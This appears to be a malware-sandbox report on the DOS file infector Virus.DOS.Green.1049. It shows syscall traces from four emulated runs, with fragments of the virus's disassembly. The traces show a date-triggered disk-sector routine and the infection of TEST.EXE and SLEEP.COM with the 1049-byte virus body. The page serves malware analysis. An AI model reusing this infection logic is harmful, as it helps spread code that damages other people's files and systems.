Sample viewer

vx.netlux.org/Virus.DOS.Green.1049

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:00:34.5740356Z 26 PC: 12ab8 | Set disk transfer address
2018-12-17T22:00:34.57546596Z 71 PC: 12ac2 | Get current directory
2018-12-17T22:00:34.578065808Z 53 PC: 12ac7 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:00:34.578934576Z 37 PC: 12adb | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:00:34.580871758Z 42 PC: 12ae1 | Get date 0x12ae1: cmp dh, 7
0x12ae4: je 0x12ae9
0x12ae6: jmp 0x12b8d
0x12ae9: cmp dl, 3
0x12aec: je 0x12af1
0x12aee: jmp 0x12b8d
0x12af1: mov ax, 0x201
0x12af4: mov cx, 1
0x12af7: xor dx, dx
0x12af9: lea bx, word ptr [bp + 0x501]
0x12afd: int 0x13
0x12aff: mov ah, 0x3c
0x12b01: xor cx, cx
0x12b03: lea dx, word ptr [bp + 0x20d]
0x12b07: int 0x21
0x12b09: jb 0x12b29
0x12b0b: xchg ax, bx
0x12b0c: mov ah, 0x40
0x12b0e: mov cx, 0x200
0x12b11: lea dx, word ptr [bp + 0x501]
2018-12-17T22:00:34.583152634Z 78 PC: 12bca | Find first file
2018-12-17T22:00:34.58919346Z 67 PC: 12cfd | Get or set file attributes
2018-12-17T22:00:34.600980584Z 67 PC: 12d1c | Get or set file attributes
2018-12-17T22:00:34.615857649Z 61 PC: 12d2c | Open file (Filename = 'TEST.EXE')
2018-12-17T22:00:34.62668529Z 63 PC: 12d49 | Read file or device (Read 26 bytes on handle 5)
2018-12-17T22:00:34.632682701Z 66 PC: 12c69 | Move file pointer
2018-12-17T22:00:34.634386365Z 66 PC: 12c69 | Move file pointer
2018-12-17T22:00:34.635578456Z 64 PC: 12df0 | Write file or device (Write 26 bytes on handle 5)
2018-12-17T22:00:34.638691116Z 66 PC: 12c69 | Move file pointer
2018-12-17T22:00:34.640344649Z 44 PC: 12e03 | Get time 0x12e03: mov byte ptr [bp + 0x41a], dl
0x12e07: call 0x12e2c
0x12e0a: call 0x12e45
0x12e0d: mov cx, 0x419
0x12e10: mov ah, 0x40
0x12e12: lea dx, word ptr [bp + 4]
0x12e16: int 0x21
0x12e18: call 0x12e45
0x12e1b: call 0x12e2c
0x12e1e: pop ax
0x12e1f: mov byte ptr [bp + 0x219], al
0x12e23: call 0x22ba1
0x12e26: call 0x22baf
0x12e29: jmp 0x12be3
0x12e2c: cld
0x12e2d: mov ax, cs
0x12e2f: mov es, ax
0x12e31: mov ah, byte ptr [bp + 0x41a]
0x12e35: mov cx, 0x395
0x12e38: lea si, word ptr [bp + 0x32]
2018-12-17T22:00:34.642694701Z 64 PC: 12e18 | Write file or device (Write 1049 bytes on handle 5)
2018-12-17T22:00:34.651690651Z 87 PC: 12bae | Get or set file date and time
2018-12-17T22:00:34.653711148Z 62 PC: 12bb3 | Close file
2018-12-17T22:00:34.6612277Z 67 PC: 12bc0 | Get or set file attributes
2018-12-17T22:00:34.670876692Z 59 PC: 12beb | Change current directory
2018-12-17T22:00:34.676017514Z 78 PC: 12bca | Find first file
2018-12-17T22:00:34.679708911Z 67 PC: 12cfd | Get or set file attributes
2018-12-17T22:00:34.686854828Z 67 PC: 12d1c | Get or set file attributes
2018-12-17T22:00:34.700116248Z 61 PC: 12d2c | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:00:34.707187614Z 66 PC: 12c69 | Move file pointer
2018-12-17T22:00:34.708526985Z 66 PC: 12c85 | Move file pointer
2018-12-17T22:00:34.718190764Z 63 PC: 12c90 | Read file or device (Read 1 bytes on handle 5)
2018-12-17T22:00:34.724586741Z 66 PC: 12c69 | Move file pointer
2018-12-17T22:00:34.726235317Z 63 PC: 12cb3 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:00:34.729233751Z 66 PC: 12c69 | Move file pointer
2018-12-17T22:00:34.730600731Z 66 PC: 12c69 | Move file pointer
2018-12-17T22:00:34.731873383Z 64 PC: 12cdc | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:00:34.734642284Z 66 PC: 12c69 | Move file pointer
2018-12-17T22:00:34.736063347Z 44 PC: 12e03 | Get time 0x12e03: mov byte ptr [bp + 0x41a], dl
0x12e07: call 0x12e2c
0x12e0a: call 0x12e45
0x12e0d: mov cx, 0x419
0x12e10: mov ah, 0x40
0x12e12: lea dx, word ptr [bp + 4]
0x12e16: int 0x21
0x12e18: call 0x12e45
0x12e1b: call 0x12e2c
0x12e1e: pop ax
0x12e1f: mov byte ptr [bp + 0x219], al
0x12e23: call 0x22ba1
0x12e26: call 0x22baf
0x12e29: jmp 0x12be3
0x12e2c: cld
0x12e2d: mov ax, cs
0x12e2f: mov es, ax
0x12e31: mov ah, byte ptr [bp + 0x41a]
0x12e35: mov cx, 0x395
0x12e38: lea si, word ptr [bp + 0x32]
2018-12-17T22:00:34.738484856Z 64 PC: 12e18 | Write file or device (Write 1049 bytes on handle 5)
2018-12-17T22:00:34.747102849Z 87 PC: 12bae | Get or set file date and time
2018-12-17T22:00:34.74876612Z 62 PC: 12bb3 | Close file
2018-12-17T22:00:34.756379219Z 67 PC: 12bc0 | Get or set file attributes
2018-12-17T22:00:34.765727807Z 59 PC: 12beb | Change current directory
2018-12-17T22:00:34.770181813Z 37 PC: 12bff | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:00:34.771349849Z 26 PC: 12c1b | Set disk transfer address
2018-12-17T22:00:34.772357201Z 76 PC: 12a44 | Terminate with return code (Return code = '164')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1180,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:42:56.802187596Z 26 PC: 12ab8 | Set disk transfer address
2018-12-25T11:42:56.803922464Z 71 PC: 12ac2 | Get current directory
2018-12-25T11:42:56.806895616Z 53 PC: 12ac7 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:42:56.808329532Z 37 PC: 12adb | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:42:56.810052269Z 42 PC: 12ae1 | Get date 0x12ae1: cmp dh, 7
0x12ae4: je 0x12ae9
0x12ae6: jmp 0x12b8d
0x12ae9: cmp dl, 3
0x12aec: je 0x12af1
0x12aee: jmp 0x12b8d
0x12af1: mov ax, 0x201
0x12af4: mov cx, 1
0x12af7: xor dx, dx
0x12af9: lea bx, word ptr [bp + 0x501]
0x12afd: int 0x13
0x12aff: mov ah, 0x3c
0x12b01: xor cx, cx
0x12b03: lea dx, word ptr [bp + 0x20d]
0x12b07: int 0x21
0x12b09: jb 0x12b29
0x12b0b: xchg ax, bx
0x12b0c: mov ah, 0x40
0x12b0e: mov cx, 0x200
0x12b11: lea dx, word ptr [bp + 0x501]
2018-12-25T11:42:56.812463019Z 78 PC: 12bca | Find first file
2018-12-25T11:42:56.81842349Z 67 PC: 12cfd | Get or set file attributes
2018-12-25T11:42:56.828765003Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T11:42:56.848622489Z 61 PC: 12d2c | Open file (Filename = 'TEST.EXE')
2018-12-25T11:42:56.855026882Z 63 PC: 12d49 | Read file or device (Read 26 bytes on handle 5)
2018-12-25T11:42:56.861214085Z 66 PC: 12c69 | Move file pointer
2018-12-25T11:42:56.863432228Z 66 PC: 12c69 | Move file pointer (See above)
2018-12-25T11:42:56.864984679Z 64 PC: 12df0 | Write file or device (Write 26 bytes on handle 5)
2018-12-25T11:42:56.867769673Z 66 PC: 12c69 | Move file pointer (See above)
2018-12-25T11:42:56.870205785Z 44 PC: 12e03 | Get time 0x12e03: mov byte ptr [bp + 0x41a], dl
0x12e07: call 0x12e2c
0x12e0a: call 0x12e45
0x12e0d: mov cx, 0x419
0x12e10: mov ah, 0x40
0x12e12: lea dx, word ptr [bp + 4]
0x12e16: int 0x21
0x12e18: call 0x12e45
0x12e1b: call 0x12e2c
0x12e1e: pop ax
0x12e1f: mov byte ptr [bp + 0x219], al
0x12e23: call 0x22ba1
0x12e26: call 0x22baf
0x12e29: jmp 0x12be3
0x12e2c: cld
0x12e2d: mov ax, cs
0x12e2f: mov es, ax
0x12e31: mov ah, byte ptr [bp + 0x41a]
0x12e35: mov cx, 0x395
0x12e38: lea si, word ptr [bp + 0x32]
2018-12-25T11:42:56.876863455Z 64 PC: 12e18 | Write file or device (Write 1049 bytes on handle 5)
2018-12-25T11:42:56.886756222Z 87 PC: 12bae | Get or set file date and time
2018-12-25T11:42:56.890045927Z 62 PC: 12bb3 | Close file
2018-12-25T11:42:56.898577696Z 67 PC: 12bc0 | Get or set file attributes
2018-12-25T11:42:56.908405373Z 59 PC: 12beb | Change current directory
2018-12-25T11:42:56.914068942Z 78 PC: 12bca | Find first file (See above)
2018-12-25T11:42:56.919900712Z 67 PC: 12cfd | Get or set file attributes (See above)
2018-12-25T11:42:56.925384735Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T11:42:56.935876914Z 61 PC: 12d2c | Open file (See above)
2018-12-25T11:42:56.942490577Z 66 PC: 12c69 | Move file pointer (See above)
2018-12-25T11:42:56.943786887Z 66 PC: 12c85 | Move file pointer
2018-12-25T11:42:56.945678149Z 63 PC: 12c90 | Read file or device (Read 1 bytes on handle 5)
2018-12-25T11:42:56.951962318Z 66 PC: 12c69 | Move file pointer (See above)
2018-12-25T11:42:56.953438005Z 63 PC: 12cb3 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:42:56.961691519Z 66 PC: 12c69 | Move file pointer (See above)
2018-12-25T11:42:56.963458293Z 66 PC: 12c69 | Move file pointer (See above)
2018-12-25T11:42:56.965265692Z 64 PC: 12cdc | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:42:56.968373743Z 66 PC: 12c69 | Move file pointer (See above)
2018-12-25T11:42:56.969685307Z 44 PC: 12e03 | Get time (See above)
2018-12-25T11:42:56.972406354Z 64 PC: 12e18 | Write file or device (See above)
2018-12-25T11:42:56.981689487Z 87 PC: 12bae | Get or set file date and time (See above)
2018-12-25T11:42:56.983206453Z 62 PC: 12bb3 | Close file (See above)
2018-12-25T11:42:56.991102963Z 67 PC: 12bc0 | Get or set file attributes (See above)
2018-12-25T11:42:57.001312757Z 59 PC: 12beb | Change current directory (See above)
2018-12-25T11:42:57.004083096Z 37 PC: 12bff | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:42:57.005130147Z 26 PC: 12c1b | Set disk transfer address
2018-12-25T11:42:57.006673786Z 76 PC: 12a44 | Terminate with return code (Return code = '164')

{"DateBased":true,"Day":1,"Month":7,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1180,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:42:56.954721555Z 26 PC: 12ab8 | Set disk transfer address
2018-12-25T11:42:56.960209307Z 71 PC: 12ac2 | Get current directory
2018-12-25T11:42:56.963259944Z 53 PC: 12ac7 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:42:56.96473752Z 37 PC: 12adb | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:42:56.966325031Z 42 PC: 12ae1 | Get date 0x12ae1: cmp dh, 7
0x12ae4: je 0x12ae9
0x12ae6: jmp 0x12b8d
0x12ae9: cmp dl, 3
0x12aec: je 0x12af1
0x12aee: jmp 0x12b8d
0x12af1: mov ax, 0x201
0x12af4: mov cx, 1
0x12af7: xor dx, dx
0x12af9: lea bx, word ptr [bp + 0x501]
0x12afd: int 0x13
0x12aff: mov ah, 0x3c
0x12b01: xor cx, cx
0x12b03: lea dx, word ptr [bp + 0x20d]
0x12b07: int 0x21
0x12b09: jb 0x12b29
0x12b0b: xchg ax, bx
0x12b0c: mov ah, 0x40
0x12b0e: mov cx, 0x200
0x12b11: lea dx, word ptr [bp + 0x501]
2018-12-25T11:42:56.968626159Z 78 PC: 12bca | Find first file
2018-12-25T11:42:56.974936874Z 67 PC: 12cfd | Get or set file attributes
2018-12-25T11:42:56.981225622Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T11:42:56.999484543Z 61 PC: 12d2c | Open file (Filename = 'TEST.EXE')
2018-12-25T11:42:57.012630204Z 63 PC: 12d49 | Read file or device (Read 26 bytes on handle 5)
2018-12-25T11:42:57.019692725Z 66 PC: 12c69 | Move file pointer
2018-12-25T11:42:57.021673992Z 66 PC: 12c69 | Move file pointer (See above)
2018-12-25T11:42:57.022970753Z 64 PC: 12df0 | Write file or device (Write 26 bytes on handle 5)
2018-12-25T11:42:57.025640137Z 66 PC: 12c69 | Move file pointer (See above)
2018-12-25T11:42:57.027317991Z 44 PC: 12e03 | Get time 0x12e03: mov byte ptr [bp + 0x41a], dl
0x12e07: call 0x12e2c
0x12e0a: call 0x12e45
0x12e0d: mov cx, 0x419
0x12e10: mov ah, 0x40
0x12e12: lea dx, word ptr [bp + 4]
0x12e16: int 0x21
0x12e18: call 0x12e45
0x12e1b: call 0x12e2c
0x12e1e: pop ax
0x12e1f: mov byte ptr [bp + 0x219], al
0x12e23: call 0x22ba1
0x12e26: call 0x22baf
0x12e29: jmp 0x12be3
0x12e2c: cld
0x12e2d: mov ax, cs
0x12e2f: mov es, ax
0x12e31: mov ah, byte ptr [bp + 0x41a]
0x12e35: mov cx, 0x395
0x12e38: lea si, word ptr [bp + 0x32]
2018-12-25T11:42:57.029919345Z 64 PC: 12e18 | Write file or device (Write 1049 bytes on handle 5)
2018-12-25T11:42:57.039713128Z 87 PC: 12bae | Get or set file date and time
2018-12-25T11:42:57.041856325Z 62 PC: 12bb3 | Close file
2018-12-25T11:42:57.05027838Z 67 PC: 12bc0 | Get or set file attributes
2018-12-25T11:42:57.060966367Z 59 PC: 12beb | Change current directory
2018-12-25T11:42:57.065710743Z 78 PC: 12bca | Find first file (See above)
2018-12-25T11:42:57.07215548Z 67 PC: 12cfd | Get or set file attributes (See above)
2018-12-25T11:42:57.078961845Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T11:42:57.090097791Z 61 PC: 12d2c | Open file (See above)
2018-12-25T11:42:57.097492543Z 66 PC: 12c69 | Move file pointer (See above)
2018-12-25T11:42:57.098992436Z 66 PC: 12c85 | Move file pointer
2018-12-25T11:42:57.101062172Z 63 PC: 12c90 | Read file or device (Read 1 bytes on handle 5)
2018-12-25T11:42:57.108187403Z 66 PC: 12c69 | Move file pointer (See above)
2018-12-25T11:42:57.109688003Z 63 PC: 12cb3 | Read file or device (Read 3 bytes on handle 5)
2018-12-25T11:42:57.11262697Z 66 PC: 12c69 | Move file pointer (See above)
2018-12-25T11:42:57.114893981Z 66 PC: 12c69 | Move file pointer (See above)
2018-12-25T11:42:57.116775221Z 64 PC: 12cdc | Write file or device (Write 3 bytes on handle 5)
2018-12-25T11:42:57.120063911Z 66 PC: 12c69 | Move file pointer (See above)
2018-12-25T11:42:57.122405158Z 44 PC: 12e03 | Get time (See above)
2018-12-25T11:42:57.125307108Z 64 PC: 12e18 | Write file or device (See above)
2018-12-25T11:42:57.135223908Z 87 PC: 12bae | Get or set file date and time (See above)
2018-12-25T11:42:57.137689158Z 62 PC: 12bb3 | Close file (See above)
2018-12-25T11:42:57.14702786Z 67 PC: 12bc0 | Get or set file attributes (See above)
2018-12-25T11:42:57.157730878Z 59 PC: 12beb | Change current directory (See above)
2018-12-25T11:42:57.16283227Z 37 PC: 12bff | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:42:57.165271608Z 26 PC: 12c1b | Set disk transfer address
2018-12-25T11:42:57.166687719Z 76 PC: 12a44 | Terminate with return code (Return code = '164')

{"DateBased":true,"Day":3,"Month":7,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":1180,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T11:42:57.37808988Z 26 PC: 12ab8 | Set disk transfer address
2018-12-25T11:42:57.379850805Z 71 PC: 12ac2 | Get current directory
2018-12-25T11:42:57.383516645Z 53 PC: 12ac7 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:42:57.384966765Z 37 PC: 12adb | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:42:57.386323659Z 42 PC: 12ae1 | Get date 0x12ae1: cmp dh, 7
0x12ae4: je 0x12ae9
0x12ae6: jmp 0x12b8d
0x12ae9: cmp dl, 3
0x12aec: je 0x12af1
0x12aee: jmp 0x12b8d
0x12af1: mov ax, 0x201
0x12af4: mov cx, 1
0x12af7: xor dx, dx
0x12af9: lea bx, word ptr [bp + 0x501]
0x12afd: int 0x13
0x12aff: mov ah, 0x3c
0x12b01: xor cx, cx
0x12b03: lea dx, word ptr [bp + 0x20d]
0x12b07: int 0x21
0x12b09: jb 0x12b29
0x12b0b: xchg ax, bx
0x12b0c: mov ah, 0x40
0x12b0e: mov cx, 0x200
0x12b11: lea dx, word ptr [bp + 0x501]
2018-12-25T11:42:57.391212782Z 60 PC: 12b09 | Create or truncate file
2018-12-25T11:42:57.409707214Z 64 PC: 12b17 | Write file or device (Write 512 bytes on handle 5)
2018-12-25T11:42:57.418177948Z 62 PC: 12b1b | Close file
2018-12-25T11:42:59.7696517Z 72 PC: 8f1b9 | Allocate memory
2018-12-25T11:42:59.772025603Z 72 PC: 8f1bd | Allocate memory
2018-12-25T11:42:59.775025766Z 99 PC: 90858 | Get DBCS lead byte table pointer
2018-12-25T11:42:59.779233909Z 61 PC: 91f88 | Open file (Filename = 'C:\WINDOWS\HIMEM.SYS')
2018-12-25T11:42:59.792288444Z 66 PC: 91f95 | Move file pointer
2018-12-25T11:42:59.794110968Z 62 PC: 91fc1 | Close file
2018-12-25T11:42:59.797928164Z 75 PC: 91fe0 | Execute program
2018-12-25T11:42:59.816697308Z 98 PC: 916f1 | Get current PSP
2018-12-25T11:42:59.818667753Z 9 PC: c605 | Display string (String= '6r&;] u')
2018-12-25T11:42:59.825413234Z 48 PC: c609 | Get DOS version
2018-12-25T11:42:59.82900286Z 9 PC: c382 | Display string (String= ' Installed A20 handler number ')
2018-12-25T11:42:59.832906006Z 2 PC: c38c | Character output (Char = '32')
2018-12-25T11:42:59.835668356Z 2 PC: c3a7 | Character output (Char = '2e')
2018-12-25T11:42:59.839568201Z 9 PC: c6d9 | Display string (String= 'VHVD[email protected]_Kut1Dt a1ZW 5|(Nj(p^')
2018-12-25T11:42:59.843802509Z 9 PC: c6e0 | Display string (String= '5|(Nj(p^')
2018-12-25T11:42:59.849118167Z 61 PC: 91f88 | Open file (See above)
2018-12-25T11:42:59.860877511Z 66 PC: 91f95 | Move file pointer (See above)
2018-12-25T11:42:59.862397216Z 62 PC: 91fc1 | Close file (See above)
2018-12-25T11:42:59.864623145Z 75 PC: 91fe0 | Execute program (See above)
2018-12-25T11:42:59.888621685Z 98 PC: 916f1 | Get current PSP (See above)
2018-12-25T11:42:59.893341726Z 82 PC: 13d46 | Get DOS internal pointers (SYSVARS)
2018-12-25T11:42:59.895934355Z 53 PC: 13ac3 | Get interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T11:42:59.899074197Z 37 PC: 13ad6 | Set interrupt vector (Interrupt = '19' AKA 'Delete file')
2018-12-25T11:42:59.900837716Z 53 PC: 13ae0 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:42:59.902464639Z 37 PC: 13af3 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:42:59.905320371Z 9 PC: 13a0d | Display string (Could not find end pointer)
2018-12-25T11:42:59.913984013Z 62 PC: 8f8eb | Close file
2018-12-25T11:42:59.916016558Z 62 PC: 8f8f2 | Close file
2018-12-25T11:42:59.919173554Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.921174388Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.923216474Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.926265855Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.928317624Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.93039944Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.932498681Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.935589754Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.937473842Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.939174746Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.94136465Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.943322607Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.94523206Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.947847492Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.949576778Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.951360362Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.956388641Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.958683729Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.960578649Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.96348579Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.965834047Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.967979293Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.969917641Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.972152025Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.973860519Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.97558636Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.978073228Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.980060857Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.981701634Z 62 PC: 8f8f2 | Close file (See above)
2018-12-25T11:42:59.985184213Z 61 PC: 8f8ff | Open file (Filename = '')
2018-12-25T11:42:59.990845502Z 62 PC: 8f90e | Close file
2018-12-25T11:42:59.993011275Z 69 PC: 8f915 | Duplicate handle
2018-12-25T11:42:59.996712583Z 69 PC: 8f919 | Duplicate handle
2018-12-25T11:42:59.998991737Z 61 PC: 9387b | Open file (Filename = '')
2018-12-25T11:43:00.004349469Z 68 PC: 9386b | I/O control for devices (Set for = '')
2018-12-25T11:43:00.006884647Z 61 PC: 9387b | Open file (See above)
2018-12-25T11:43:00.012231286Z 68 PC: 9386b | I/O control for devices (See above)
2018-12-25T11:43:00.014351532Z 74 PC: 8f9c4 | Reallocate memory
2018-12-25T11:43:00.016736851Z 72 PC: 8f9e0 | Allocate memory
2018-12-25T11:43:00.019237002Z 72 PC: 8f9e4 | Allocate memory
2018-12-25T11:43:00.020917504Z 74 PC: 8f9fb | Reallocate memory
2018-12-25T11:43:00.022751173Z 72 PC: 8fa02 | Allocate memory
2018-12-25T11:43:00.025571029Z 72 PC: 8fa06 | Allocate memory
2018-12-25T11:43:00.027662814Z 73 PC: 8fa11 | Release memory
2018-12-25T11:43:00.029582621Z 73 PC: 8efea | Release memory
2018-12-25T11:43:00.031236933Z 74 PC: 8f003 | Reallocate memory
2018-12-25T11:43:00.032928687Z 72 PC: 8f054 | Allocate memory
2018-12-25T11:43:00.035046028Z 72 PC: 8f058 | Allocate memory
2018-12-25T11:43:00.03695492Z 73 PC: 8f060 | Release memory
2018-12-25T11:43:00.038445877Z 61 PC: 8f080 | Open file (Filename = '')
2018-12-25T11:43:00.048408412Z 63 PC: 8f095 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T11:43:00.0553709Z 66 PC: 8f0ad | Move file pointer
2018-12-25T11:43:00.057357351Z 62 PC: 8f0d1 | Close file
2018-12-25T11:43:00.060438548Z 75 PC: 8f0f2 | Execute program
2018-12-25T11:43:00.087141693Z 80 PC: 12be9 | Set current PSP
2018-12-25T11:43:00.088295225Z 48 PC: 12bee | Get DOS version
2018-12-25T11:43:00.090254099Z 99 PC: 193d0 | Get DBCS lead byte table pointer
2018-12-25T11:43:00.094170564Z 101 PC: 12c74 | Get extended country info
2018-12-25T11:43:00.096038366Z 99 PC: 12c7a | Get DBCS lead byte table pointer
2018-12-25T11:43:00.097412783Z 74 PC: 12cdc | Reallocate memory
2018-12-25T11:43:00.099597633Z 72 PC: 1355d | Allocate memory
2018-12-25T11:43:00.101579188Z 25 PC: 13596 | Get default drive
2018-12-25T11:43:00.103037762Z 71 PC: 135ad | Get current directory
2018-12-25T11:43:00.106686437Z 59 PC: 135ba | Change current directory
2018-12-25T11:43:00.113302717Z 59 PC: 135c8 | Change current directory
2018-12-25T11:43:00.12001865Z 59 PC: 135d3 | Change current directory
2018-12-25T11:43:00.124407745Z 25 PC: 12d13 | Get default drive
2018-12-25T11:43:00.127291115Z 37 PC: 127d3 | Set interrupt vector (Interrupt = '34' AKA 'Random write')
2018-12-25T11:43:00.129757655Z 37 PC: 127da | Set interrupt vector (Interrupt = '35' AKA 'Get file size in records')
2018-12-25T11:43:00.131387884Z 37 PC: 127e1 | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T11:43:00.134803289Z 80 PC: 1301d | Set current PSP
2018-12-25T11:43:00.136045013Z 37 PC: 13041 | Set interrupt vector (Interrupt = '46' AKA 'Set verify flag')
2018-12-25T11:43:00.137822476Z 53 PC: 13362 | Get interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:43:00.140452927Z 37 PC: 13383 | Set interrupt vector (Interrupt = '47' AKA 'Get disk transfer address')
2018-12-25T11:43:00.142409884Z 51 PC: 13417 | Get or set Ctrl-Break
2018-12-25T11:43:00.145080985Z 72 PC: 130ec | Allocate memory
2018-12-25T11:43:00.147971682Z 61 PC: 131b2 | Open file (Filename = '')
2018-12-25T11:43:00.155011029Z 62 PC: 131ba | Close file
2018-12-25T11:43:00.157332782Z 51 PC: 1344c | Get or set Ctrl-Break
2018-12-25T11:43:00.159626037Z 74 PC: 1197c | Reallocate memory
2018-12-25T11:43:00.161708309Z 72 PC: 11991 | Allocate memory
2018-12-25T11:43:00.163907492Z 73 PC: 119b2 | Release memory
2018-12-25T11:43:00.166548113Z 72 PC: 119bd | Allocate memory
2018-12-25T11:43:00.16895832Z 73 PC: 119df | Release memory
2018-12-25T11:43:00.170798366Z 72 PC: 119f5 | Allocate memory
2018-12-25T11:43:00.173148377Z 72 PC: 119fd | Allocate memory